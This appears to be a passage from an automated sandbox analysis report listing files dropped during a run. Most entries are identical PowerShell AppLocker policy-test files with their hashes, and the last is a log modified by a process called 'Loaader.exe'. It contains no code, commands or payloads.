MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxm51ap1.qcs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hznlsms0.n2z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i1pmcnig.add.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ighruovr.33u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmbgnal3.4th.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jr012jdp.xzo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kdkj5s2o.2kg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ktpclgn1.zx4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kxhvrqq1.wp4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m41syji2.vfj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ow135fli.mn5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q32cnzaj.ycs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qpale4he.zzk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qscra2e0.wxl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qsepal2f.5qy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rpvixoaj.xxj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sdyh0wnp.o0z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_suftwyas.bro.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_swe5mi4n.4bj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t0ug4auf.pku.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5dx3naa.dhp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tssyp0h3.edh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ui3anz41.22u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_umnnkngt.kki.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vzwd3wos.n1s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xjh4i1v5.hmi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yes45ise.2hk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yidrraxg.00r.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z5tebjjd.uoy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zeburznt.qkb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmwo31pp.xbc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zuzpoabo.4gz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\ce3ed400-d1e84918ad678b08d2a369a3-Latest.log

Download File

Process:	C:\Users\user\AppData\Roaming\Loaader.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	2131
Entropy (8bit):	5.138053904395104
Encrypted:	false
SSDEEP:	48:AYoVyIgA12WU6iwMApitx2LtZl9Yl2Wt7:AYocjAcBsitxAZl9Yl7
MD5:	2C70FCAAFD2B6EA13A36680B4E49E408
SHA1:	C7C888275A5F1E55B5EE83603B50EC69CFF03AEF
SHA-256:	8A9A675D0BF5C982D88DFB49DB6251BD26D1A38ACAB8CB895DBD57AEBB578A6D
SHA-512:	C758F722F80D899F6F1DB672AA5C4D4BA4BFD6E8E73C7F6AAD50FEC72886BE71AE324181B1BC39C7B910DBC091E813E2EFC0BD13963E31D6E99BED343653D553
Malicious:	false
